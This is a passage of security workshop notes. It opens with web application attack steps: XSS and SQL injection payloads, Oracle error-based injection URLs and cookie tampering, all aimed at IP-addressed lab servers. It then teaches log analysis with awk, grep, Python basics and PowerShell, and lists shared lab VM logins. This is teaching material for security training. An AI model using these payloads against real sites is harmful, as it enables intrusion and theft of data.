1041. Step 3: When you load your fuzz strings - use the following decision tree

1042.

1043. - Are the fuzz strings causing a default error message (example 404)?

1044. - If this is the case then it is most likely NOT vulnerable

1045.

1046. - Are the fuzz strings causing a WAF or LB custom error message?

1047. - If this is the case then you need to find an encoding method to bypass

1048.

1049.

1050. - Are the fuzz strings causing an error message that discloses the backend type?

1051. - If yes, then identify DB type and find correct syntax to successfully exploit

1052. - Some example strings that I use are:

1053. '

1054. "

1055. () <----- Take the parameter value and put it in parenthesis

1056. (5-1) <----- See if you can perform an arithmetic function

1057.

1058.

1059. - Are the fuzz strings rendering executable code?

```
1060. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
1061. - Some example strings that I use are:
1062.     <b>hello</b>
1063.     <u>hello</u>
1064.     <script>alert(123);</script>
1065.     <script>alert(xss);</script>
1066.     <script>alert('xss');</script>
1067.     <script>alert("xss");</script>
1068.
1069.
1070.
1071.
1072.
1073.
1074. #####
1075. # Trading Web App with WAF #
1076. # http://54.213.131.105     #
1077. #####
1078.
1079.
1080. Try the following in the search box:
1081.     <script>alert(123);</script>
1082.     <script>alert(123);</script
1083.     <script>alert(123)
1084.     <script>alert
1085.     <script>
1086.     <script
1087.     <scrip
```


1088. <scri
1089. <scr
1090. <sc
1091. <s
1092. <p
1093. <
1094. < s
1095. Joe'+OR+1=1;--
1096.
1097.
1098. Open a new tab in firefox and try this:
1099. http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
1100.
1101.
1102. xss_upload.txt (Upload Bulk Order)
1103. <script>alert(123);</script>
1104.
1105.
1106. Login Box:
1107.
1108. ' or 1=1 or ''='
1109. anything
1110.
1111.
1112.
1113. Tamper Data: (notice 2 session IDs)
1114.
1115. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5

```
1116.      IsAdmin=yes;
1117.      ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
1118.
1119.
1120.
1121. Profile - Detail      (tamper data)
1122.      Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
1123.      joe|set
1124.
1125.
1126.
1127.
1128.
1129.
1130.
1131. #####
1132. # Attacking an Oracle/JSP based WebApp with SQL Injection #
1133. #####
1134.
1135.
1136.
1137.
1138.
1139. http://54.69.156.253:8081/bookcompany/
1140.
1141.
1142. user:   a' OR 'a'='a
1143. pass:   a' OR 'a'='a
```

1144.
1145.
1146.
1147.
1148.
1149.
1150.
1151. `http://54.69.156.253:8081/bookcompany/author.jsp?id=111`
1152.
1153.
1154. `[Search by Username] Joe' OR 'a'='a`
1155.
1156.
1157.
1158.
1159.
1160.
1161.
1162.
1163.
1164.
1165.
1166.
1167. `http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1`
1168.
1169.
1170.
1171. `http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1`

1172.
1173.
1174.
1175.
1176.
1177.
1178.
1179.
1180.
1181.
1182.
1183.
1184.
1185.
1186.
1187. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v\$version where rownum=1))--
1188.
1189.
1190. Host is running:
1191.
1192.
1193.
1194.
1195.
1196. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
1197.
1198. User is:

```
1199.
1200.
1201.
1202.
1203.
1204. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
1205.
1206. Current database is:
1207.
1208. #####
1209. # Log Analysis #
1210. #####
1211.
1212. VM for these labs
1213. -----
1214. https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
1215. user: strategicsec
1216. pass: strategicsec
1217.
1218. https://s3.amazonaws.com/StrategicSec-VMs/Win7x64.zip
1219. username: workshop
1220. password: password
1221.
1222.
1223.
1224.
1225. #####
1226. # Log Analysis with Linux command-line tools #
```

```
1227. #####
1228. The following command line executables are found in the Mac as well as most Linux Distributions.
1229.
1230. cat - prints the content of a file in the terminal window
1231. grep - searches and filters based on patterns
1232. awk - can sort each row into fields and display only what is needed
1233. sed - performs find and replace functions
1234. sort - arranges output in an order
1235. uniq - compares adjacent lines and can report, filter or provide a count of duplicates
1236.
1237.
1238.
1239. #####
1240. # Apache Logs #
1241. #####
1242.
1243. Reference:
1244. http://www.the-art-of-web.com/system/logs/
1245.
1246. wget https://s3.amazonaws.com/SecureNinja/Python/access_log
1247.
1248.
1249. You want to list all user agents ordered by the number of times they appear (descending order):
1250.
1251. awk -F\" '{print $6}' access_log | sort | uniq -c | sort -fr
1252.
1253.
1254.
```

```
1255. Using the default separator which is any white-space (spaces or tabs) we get the following:
1256.
1257. awk '{print $1}' access_log      # ip address (%h)
1258. awk '{print $2}' access_log      # RFC 1413 identity (%l)
1259. awk '{print $3}' access_log      # userid (%u)
1260. awk '{print $4,5}' access_log     # date/time (%t)
1261. awk '{print $9}' access_log       # status code (%>s)
1262. awk '{print $10}' access_log      # size (%b)
1263.
1264. You might notice that we've missed out some items. To get to them we need to set the delimiter to the " character which changes the
way the lines are 'exploded' and allows the following:
1265.
1266. awk -F\" '{print $2}' access_log    # request line (%r)
1267. awk -F\" '{print $4}' access_log    # referer
1268. awk -F\" '{print $6}' access_log    # user agent
1269.
1270.
1271. awk -F\" '{print $6}' access_log \
1272. | sed 's/(\([^;]\+\; \([^;]\+\)[^)]*\)/(\1)/' \
1273. | sort | uniq -c | sort -fr
1274.
1275.
1276. The next step is to start filtering the output so you can narrow down on a certain page or referer. Would you like to know which
pages Google has been requesting from your site?
1277.
1278. awk -F\" '($6 ~ /Googlebot/){print $2}' access_log | awk '{print $2}'
1279.
1280.
```

1281. Reference:

1282. <https://blog.nexcess.net/2011/01/21/one-liners-for-apache-log-files/>

1283.

1284. # top 20 URLs from the last 5000 hits

1285. tail -5000 ./access_log | awk '{print \$7}' | sort | uniq -c | sort -rn | head -20

1286. tail -5000 ./access_log | awk '{freq[\$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20

1287.

1288. # top 20 URLs excluding POST data from the last 5000 hits

1289. tail -5000 ./access_log | awk -F"[?]" '{print \$7}' | sort | uniq -c | sort -rn | head -20

1290. tail -5000 ./access_log | awk -F"[?]" '{freq[\$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20

1291.

1292. # top 20 IPs from the last 5000 hits

1293. tail -5000 ./access_log | awk '{print \$1}' | sort | uniq -c | sort -rn | head -20

1294. tail -5000 ./access_log | awk '{freq[\$1]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20

1295.

1296. # top 20 URLs requested from a certain ip from the last 5000 hits

1297. IP=1.2.3.4; tail -5000 ./access_log | grep \$IP | awk '{print \$7}' | sort | uniq -c | sort -rn | head -20

1298. IP=1.2.3.4; tail -5000 ./access_log | awk -v ip=\$IP ' \$1 ~ ip {freq[\$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20

1299.

1300. # top 20 URLs requested from a certain ip excluding, excluding POST data, from the last 5000 hits

1301. IP=1.2.3.4; tail -5000 ./access_log | fgrep \$IP | awk -F "[?]" '{print \$7}' | sort | uniq -c | sort -rn | head -20

1302. IP=1.2.3.4; tail -5000 ./access_log | awk -F"[?]" -v ip=\$IP ' \$1 ~ ip {freq[\$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20

1303.

1304. # top 20 referrers from the last 5000 hits

1305. tail -5000 ./access_log | awk '{print \$11}' | tr -d '"' | sort | uniq -c | sort -rn | head -20

1306. tail -5000 ./access_log | awk '{freq[\$11]++} END {for (x in freq) {print freq[x], x}}' | tr -d '"' | sort -rn | head -20


```
1307.
1308. # top 20 user agents from the last 5000 hits
1309. tail -5000 ./access_log | cut -d\ -f12- | sort | uniq -c | sort -rn | head -20
1310.
1311. # sum of data (in MB) transferred in the last 5000 hits
1312. tail -5000 ./access_log | awk '{sum+=$10} END {print sum/1048576}'
1313.
1314.
1315. #####
1316. # Cisco Logs #
1317. #####
1318.
1319. wget https://s3.amazonaws.com/StrategicSec-Files/LogAnalysis/cisco.log
1320.
1321.
1322. AWK Basics
1323. -----
1324. To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5.
    Only the last 4 lines are being shown for brevity.
1325.
1326. cat cisco.log | awk '{print $5}' | tail -n 4
1327.
1328.
1329.
1330.
1331. Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found
    in "$5", group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping
    the output through "sort", using "uniq -c" to count the like entries, then using "sort -rn" to sort it in reverse order.
```

1332.

1333. `cat cisco.log | awk '{print $5}' | sort | uniq -c | sort -rn`

1334.

1335.

1336.

1337.

1338. While that's sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren't conforming to the output we expect to see in \$5. We can insert `grep` to filter the file prior to feeding it to `awk`. This insures that we are at least looking at lines of text that contain "facility-level-mnemonic".

1339.

1340. `cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn`

1341.

1342.

1343.

1344.

1345.

1346. Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use `grep`.

1347.

1348. `cat cisco.log | grep %LINEPROTO-5-UPDOWN:`

1349.

1350. `cat cisco.log | grep %LINEPROTO-5-UPDOWN: | awk '{print $10}' | sort | uniq -c | sort -rn`

1351.

1352. `cat cisco.log | grep %LINEPROTO-5-UPDOWN: | sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn`

1353.

1354. `cat cisco.log | grep %LINEPROTO-5-UPDOWN: | sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn`

1355.

1356.

```
1357.
1358.
1359. #####
1360. # Using Python for log analysis #
1361. #####
1362.
1363.
1364.
1365.
1366. #####
1367. # Python Basics Lesson 1: Simple Printing #
1368. #####
1369.
1370. >>> print 1
1371.
1372. >>> print hello
1373.
1374. >>> print "hello"
1375.
1376. >>> print "Today we are learning Python."
1377.
1378.
1379.
1380. #####
1381. # Python Basics Lesson 2: Simple Numbers and Math #
1382. #####
1383.
1384. >>> 2+2
```

```
1385.  
1386. >>> 6-3  
1387.  
1388. >>> 18/7  
1389.  
1390. >>> 18.0/7  
1391.  
1392. >>> 18.0/7.0  
1393.  
1394. >>> 18/7  
1395.  
1396. >>> 9%4  
1397.  
1398. >>> 8%4  
1399.  
1400. >>> 8.75%.5  
1401.  
1402. >>> 6.*7  
1403.  
1404. >>> 6*6*6  
1405.  
1406. >>> 6**3  
1407.  
1408. >>> 5**12  
1409.  
1410. >>> -5**4  
1411.  
1412.
```

```
1413.
1414.
1415.
1416.
1417. #####
1418. # Python Basics Lesson 3: Variables #
1419. #####
1420.
1421. >>> x=18
1422.
1423. >>> x+15
1424.
1425. >>> x**3
1426.
1427. >>> y=54
1428.
1429. >>> x+y
1430.
1431. >>> age=input("Enter number here: ")
1432.         43
1433.
1434. >>> age+32
1435.
1436. >>> age**3
1437.
1438. >>> fname = raw_input("Enter your first name: ")
1439.
1440. >>> lname = raw_input("Enter your first name: ")
```

```
1441.
1442. >>> fname = raw_input("Enter your name: ")
1443. Enter your name: Joe
1444.
1445. >>> lname = raw_input("Enter your name: ")
1446. Enter your name: McCray
1447.
1448. >>> print fname
1449. Joe
1450.
1451. >>> print lname
1452. McCray
1453.
1454. >>> print fname lname
1455.
1456. >>> print fname+lname
1457. JoeMcCray
1458.
1459.
1460.
1461. NOTE:
1462. Use "input()" for integers and expressions, and use raw_input() when you are dealing with strings.
1463.
1464.
1465.
1466.
1467.
1468. #####
```

```
1469. # Python Basics Lesson 4: Modules and Functions #
1470. #####
1471.
1472. >>> 5*4
1473.
1474. >>> pow(5,4)
1475.
1476. >>> abs(-18)
1477.
1478. >>> abs(5)
1479.
1480. >>> floor(18.7)
1481.
1482. >>> import math
1483.
1484. >>> math.floor(18.7)
1485.
1486. >>> math.sqrt(81)
1487.
1488. >>> joe = math.sqrt
1489.
1490. >>> joe(9)
1491.
1492. >>> joe=math.floor
1493.
1494. >>> joe(19.8)
1495.
1496.
```

```
1497.  
1498.  
1499.  
1500.  
1501.  
1502.  
1503.  
1504. #####  
1505. # Python Basics Lesson 5: Strings #  
1506. #####  
1507.  
1508. >>> "XSS"  
1509.  
1510. >>> 'SQLi'  
1511.  
1512. >>> "Joe's a python lover"  
1513.  
1514. >>> 'Joe\'s a python lover'  
1515.  
1516. >>> "Joe said \"InfoSec is fun\" to me"  
1517.  
1518. >>> a = "Joe"  
1519.  
1520. >>> b = "McCray"  
1521.  
1522. >>> a, b  
1523.  
1524. >>> a+b
```



```
1525.
1526.
1527.
1528.
1529.
1530.
1531.
1532.
1533. #####
1534. # Python Basics Lesson 6: More Strings #
1535. #####
1536.
1537. >>> num = 10
1538.
1539. >>> num + 2
1540.
1541. >>> "The number of open ports found on this system is " + num
1542.
1543. >>> num = str(18)
1544.
1545. >>> "There are " + num + " vulnerabilities found in this environment."
1546.
1547. >>> num2 = 46
1548.
1549. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
1550.
1551.
1552.
```

```
1553. NOTE:
1554. Use "input()" for integers and expressions, and use raw_input() when you are dealing with strings.
1555.
1556.
1557.
1558.
1559.
1560.
1561.
1562. #####
1563. # Python Basics Lesson 7: Sequences and Lists #
1564. #####
1565.
1566. >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
1567.
1568. >>> attacks
1569. ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
1570.
1571. >>> attacks[3]
1572. 'SQL Injection'
1573.
1574. >>> attacks[-2]
1575. 'Cross-Site Scripting'
1576.
1577.
1578.
1579.
1580.
```

```
1581.
1582. #####
1583. # Python Basics Level 8: If Statement #
1584. #####
1585. >>> attack="SQLI"
1586. >>> if attack=="SQLI":
1587.     print 'The attacker is using SQLI'
1588.
1589. >>> attack="XSS"
1590. >>> if attack=="SQLI":
1591.     print 'The attacker is using SQLI'
1592.
1593.
1594. #####
1595. # Reference Videos To Watch #
1596. #####
1597. Here is your first set of youtube videos that I'd like for you to watch:
1598. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
1599.
1600.
1601.
1602.
1603.
1604. #####
1605. # Lesson 9: Intro to Log Analysis #
1606. #####
1607.
1608. Login to your StrategicSec Ubuntu machine. You can download the VM from the following link:
```

```
1609.  
1610. https://s3.amazonaws.com/StrategicSec-VMs/Strategicsec-Ubuntu-VPN-163.zip  
1611.     username: strategicsec  
1612.     password: strategicsec  
1613.
```

```
1614. Then execute the following commands:
```

```
1615. -----
```

```
1616.  
1617.  
1618. wget https://s3.amazonaws.com/SecureNinja/Python/access_log  
1619.  
1620.
```

```
1621. cat access_log | grep 141.101.80.188
```

```
1622.  
1623. cat access_log | grep 141.101.80.187
```

```
1624.  
1625. cat access_log | grep 108.162.216.204
```

```
1626.  
1627. cat access_log | grep 173.245.53.160
```

```
1628.  
1629. -----
```

```
1630.  
1631. Google the following terms:
```

- ```
1632. - Python read file
1633. - Python read line
1634. - Python read from file
```

```
1635.
1636.
```

```
1637.
1638.
1639. #####
1640. # Lesson 10: Use Python to read in a file line by line #
1641. #####
1642.
1643.
1644. Reference:
1645. http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
1646.
1647.
1648.
1649.
1650.
1651.
1652. Let's have some fun.....
1653.
1654.
1655. >>> f = open('access_log', "r")
1656.
1657. >>> lines = f.readlines()
1658.
1659. >>> print lines
1660.
1661. >>> lines[0]
1662.
1663. >>> lines[10]
1664.
```

```
1665. >>> lines[50]
1666.
1667. >>> lines[1000]
1668.
1669. >>> lines[5000]
1670.
1671. >>> lines[10000]
1672.
1673. >>> print len(lines)
1674.
1675.
1676.
1677.
1678.
1679.
1680.
1681.
1682.
1683. -----
1684. vi logread1.py
1685.
1686.
1687. ## Open the file with read only permit
1688. f = open('access_log', "r")
1689.
1690. ## use readlines to read all lines in the file
1691. ## The variable "lines" is a list containing all lines
1692. lines = f.readlines()
```

```
1693.
1694. print lines
1695.
1696.
1697. ## close the file after reading the lines.
1698. f.close()
1699.
1700. -----
1701.
1702.
1703. Google the following:
1704. - python difference between readlines and readline
1705. - python readlines and readline
1706.
1707.
1708.
1709.
1710.
1711. #####
1712. # Lesson 11: A quick challenge #
1713. #####
1714.
1715. Can you write an if/then statement that looks for this IP and print "Found it"?
1716.
1717.
1718. 141.101.81.187
1719.
1720.
```

1721.  
1722.  
1723.  
1724.  
1725. -----  
1726. Hint 1: Use Python to look for a value in a list  
1727.  
1728. Reference:  
1729. [http://www.wellho.net/mouth/1789\\_Looking-for-a-value-in-a-list-Python.html](http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html)  
1730.  
1731.  
1732.  
1733.  
1734. -----  
1735. Hint 2: Use Python to prompt for user input  
1736.  
1737. Reference:  
1738. [http://www.cyberciti.biz/faq/python-raw\\_input-examples/](http://www.cyberciti.biz/faq/python-raw_input-examples/)  
1739.  
1740.  
1741.  
1742.  
1743. -----  
1744. Hint 3: Use Python to search for a string in a list  
1745.  
1746. Reference:  
1747. <http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string>  
1748.



```
1749.
1750.
1751.
1752.
1753. Here is my solution:
1754. -----
1755. $ python
1756. >>> f = open('access_log', "r")
1757. >>> lines = f.readlines()
1758. >>> ip = '141.101.81.187'
1759. >>> for string in lines:
1760. ... if ip in string:
1761. ... print(string)
1762.
1763.
1764.
1765.
1766. Here is one student's solution - can you please explain each line of this code to me?
1767. -----
1768. #!/usr/bin/python
1769.
1770. f = open('access_log')
1771.
1772. strUsrinput = raw_input("Enter IP Address: ")
1773.
1774. for line in iter(f):
1775. ip = line.split(" - ")[0]
1776. if ip == strUsrinput:
```

```
1777. print line
1778.
1779. f.close()
1780.
1781.
1782.
1783.
1784. -----
1785.
1786. Working with another student after class we came up with another solution:
1787.
1788. #!/usr/bin/env python
1789.
1790.
1791. # This line opens the log file
1792. f=open('access_log',"r")
1793.
1794. # This line takes each line in the log file and stores it as an element in the list
1795. lines = f.readlines()
1796.
1797.
1798. # This lines stores the IP that the user types as a var called userinput
1799. userinput = raw_input("Enter the IP you want to search for: ")
1800.
1801.
1802.
1803. # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
1804. for ip in lines:
```

```
1805. if ip.find(userinput) != -1:
1806. print ip
1807.
1808.
1809.
1810. #####
1811. # Lesson 12: Look for web attacks in a log file #
1812. #####
1813.
1814. In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your
web server log.
1815. Supported attacks:
1816. 1. SQL Injection
1817. 2. Local File Inclusion
1818. 3. Remote File Inclusion
1819. 4. Cross-Site Scripting
1820.
1821.
1822.
1823. wget https://s3.amazonaws.com/SecureNinja/Python/scan_log.py
1824.
1825. The usage for scan_log.py is simple. You feed it an apache log file.
1826.
1827. cat scan_log.py | less (use your up/down arrow keys to look through the file)
1828.
1829.
1830.
1831.
```

1832.

1833. #####

1834. # Log Analysis with Powershell #

1835. #####

1836.

1837. VM for these labs

1838. -----

1839. <https://s3.amazonaws.com/StrategicSec-VMs/Win7x64.zip>

1840.       username: workshop

1841.       password: password

1842.

1843.

1844. You can do the updates in the Win7 VM (yes, it is a lot of updates).

1845.

1846. You'll need to create directory in the Win7 VM called "c:\ps"

1847.

1848. #####

1849. # Powershell Basics #

1850. #####

1851.

1852. PowerShell is Microsoft's new scripting language that has been built in since the release Vista.

1853.

1854. PowerShell file extension end in .ps1 .

1855.

1856. An important note is that you cannot double click on a PowerShell script to execute it.

1857.

1858. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.

1859.  
1860. `dir`  
1861. `cd`  
1862. `ls`  
1863. `cd c:\`  
1864.  
1865.  
1866. To obtain a list of cmdlets, use the Get-Command cmdlet  
1867.  
1868. `Get-Command`  
1869.  
1870.  
1871.  
1872. You can use the Get-Alias cmdlet to see a full list of aliased commands.  
1873.  
1874. `Get-Alias`  
1875.  
1876.  
1877.  
1878. Don't worry you won't blow up your machine with Powershell  
1879. `Get-Process | stop-process` What will this command do?  
1880. `Get-Process | stop-process -whatif`  
1881.  
1882.  
1883. To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.  
1884.  
1885. `Get-Help Get-Command`  
1886.

1887. `Get-Help Get-Service -online`

1888.

1889. `Get-Service -Name TermService, Spooler`

1890.

1891. `Get-Service -N BITS`

1892.

1893. `Start-Transcript`

1894.

1895. PowerShell variables begin with the \$ symbol. First lets create a variable

1896.

1897. `$serv = Get-Service -N Spooler`

1898.

1899. To see the value of a variable you can just call it in the terminal.

1900.

1901. `$serv`

1902.

1903. `$serv.gettype().fullname`

1904.

1905.

1906. Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in

1907.

1908. `$serv | Get-Member`

1909.

1910. `Get-Member -InputObject $serv`

1911.

1912.

1913.

```
1914.
1915.
1916. Let's use a method and a property with our object.
1917.
1918. $serv.Status
1919. $serv.Stop()
1920. $serv.Refresh()
1921. $serv.Status
1922. $serv.Start()
1923. $serv.Refresh()
1924. $serv.Status
1925.
1926.
1927.
1928.
1929. Methods can return properties and properties can have sub properties. You can chain them together by appending them to the first
call.
1930.
1931.
1932.
1933. #####
1934. # Simple Event Log Analysis #
1935. #####
1936.
1937. Step 1: Dump the event logs
1938. -----
1939. The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
1940.
```

1941. To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.

1942. If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.

1943.

1944. `Get-EventLog -LogName application | Export-Clixml Applog.xml`

1945.

1946. `type .\Applog.xml`

1947.

1948. `$logs = "system","application","security"`

1949.

1950. The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console

1951.

1952. `$logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }`

1953.

1954.

1955.

1956. Step 2: Import the event log of interest

1957. -----

1958. To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.

1959. Store the results in a variable.

1960. Let's take a look at the cmdlets Where-Object, Group-Object, and Select-Object.

1961.

1962. The following two commands first read the exported security log contents into a variable named \$seclog, and then the five oldest entries are obtained.

1963.

1964. `$seclog = Import-Clixml security.xml`

1965.



1966. \$seclog | select -Last 5

1967.

1968.

1969. Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:

1970.

1971. Get-EventLog Application -After (Get-Date).AddDays(-1)

1972.

1973. You can use '-after' and '-before' to filter date ranges

1974.

1975. One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NTFS and share permissions that are assigned to the location where you store everything.

1976. By default, an ordinary user does not have permission to read the security log.

1977.

1978.

1979. Step 3: Drill into a specific entry

1980. -----

1981. To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.

1982.

1983.

1984. \$seclog | select -first 1 | fl \*

1985.

1986. The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.

1987.

1988.

1989. (\$seclog | select -first 1).message

1990.

1991. ((\$seclog | select -first 1).message).gettype()

1992.

1993.

1994.

1995. In the \*nix world you often want a count of something (wc -l).

1996. How often is the SeSecurityPrivilege privilege mentioned in the message property?

1997. To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:

1998.

1999. `$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure`

2000.

2001. If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.

2002.

2003.

2004. `$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid`

2005.

2006. Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.

2007. Use the count property to determine the total number of entries in the event log.

2008.

2009. `$seclog.Count`

2010.

2011.

2012.

2013.

2014.

2015.

2016. #####

```
2017. # Simple Log File Analysis #
2018. #####
2019.
2020.
2021. You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
2022.
2023.
2024. mkdir c:\ps
2025. cd c:\ps
2026. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
2027.
2028.
2029.
2030.
2031.
2032.
2033.
2034.
2035. #####
2036. # Intrusion Analysis Using Windows PowerShell #
2037. #####
2038.
2039. Download sample file http://pastebin.com/raw.php?i=ysnhXxTV into the c:\ps directory
2040.
2041.
2042.
2043.
2044.
```

2045. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")

2046.

2047. `Select-String 192.168.208.63 .\CiscoLogFileExamples.txt`

2048.

2049.

2050.

2051.

2052. The `Select-String` cmdlet searches for text and text patterns in input strings and files. You can use it like `Grep` in UNIX and `Findstr` in Windows.

2053.

2054. `Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line`

2055.

2056.

2057.

2058.

2059. To see how many connections are made when analyzing a single host, the output from that can be piped to another command: `Measure-Object`.

2060.

2061. `Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object`

2062.

2063.

2064.

2065. To select all IP addresses in the file expand the `matches` property, select the value, get unique values and measure the output.

2066.

2067. `Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object`

2068.

2069.

2070.

2071. Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.

2072.

2073. `Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique`

2074.

2075.

2076. In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: `sort count -des`.

2077. This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.

2078.

2079. `Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des`

2080.

2081.

2082.

2083.

2084. This will get the setting for logs in the windows firewall which should be enabled in GPO policy for analysis.

2085. The command shows that the Firewall log is at:

2086. `%systemroot%\system32\LogFiles\Firewall\pfirewall.log`, in order to open the file PowerShell will need to be run with administrative privileges.

2087.

2088.

2089. First step is to get the above command into a variable using script logic.

2090. Thankfully PowerShell has a built-in integrated scripting environment, PowerShell.ise.

2091.

2092. netsh advfirewall show allprofiles | Select-String FileName | select -ExpandProperty line | Select-String "%systemroot%.+\.log" |  
select -ExpandProperty matches | select -ExpandProperty value | sort -uniq

2093.

2094.

2095. #####

2096. # Parsing Log files using windows PowerShell #

2097. #####

2098.

2099. Download the sample IIS log <http://pastebin.com/LBn64cyA>

2100.

2101.

2102. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u\_ex1104.log")

2103.

2104. Get-Content ".\\*log" | ? { (\$\_ | Select-String "WebDAV") }

2105.

2106.

2107.

2108. The above command would give us all the WebDAV requests.

2109.

2110. To filter this to a particular user name, use the below command:

2111.

2112. Get-Content ".\\*log" | ? { (\$\_ | Select-String "WebDAV") -and (\$\_ | Select-String "OPTIONS") }

2113.

2114.

2115.

2116. Some more options that will be more commonly required :

2117.

2118. For Outlook Web Access : Replace WebDAV with OWA

2119.  
2120. For EAS : Replace WebDAV with Microsoft-server-activesync  
2121.  
2122. For ECP : Replace WebDAV with ECP  
2123.  
2124.  
2125.  
2126. To find out the count of the EWS request we can go ahead and run the below command  
2127.  
2128. (Get-Content ".\\*log" | ? { (\$\_ | Select-String "WebDAV") -and (\$\_ | Select-String "Useralias")}).count  
2129.  
2130.  
2131.  
2132. #####  
2133. # Day 1: Log Analysis #  
2134. #####  
2135.  
2136.  
2137. #####  
2138. # VMWare #  
2139. #####  
2140. - For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player.  
2141.  
2142. - Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class.  
2143.  
2144.  
2145. VM for these labs  
2146. -----

```
2147. https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
2148. user: strategicsec
2149. pass: strategicsec
2150.
2151. https://s3.amazonaws.com/StrategicSec-VMs/Win7x64.zip
2152. username: workshop
2153. password: password
2154.
2155.
2156.
2157.
2158. #####
2159. # Log Analysis with Linux command-line tools #
2160. #####
2161. The following command line executables are found in the Mac as well as most Linux Distributions.
2162.
2163. cat - prints the content of a file in the terminal window
2164. grep - searches and filters based on patterns
2165. awk - can sort each row into fields and display only what is needed
2166. sed - performs find and replace functions
2167. sort - arranges output in an order
2168. uniq - compares adjacent lines and can report, filter or provide a count of duplicates
2169.
2170.
2171.
2172. #####
2173. # Apache Logs #
2174. #####
```



2175.

2176. Reference:

2177. <http://www.the-art-of-web.com/system/logs/>

2178.

2179. `wget https://s3.amazonaws.com/SecureNinja/Python/access_log`

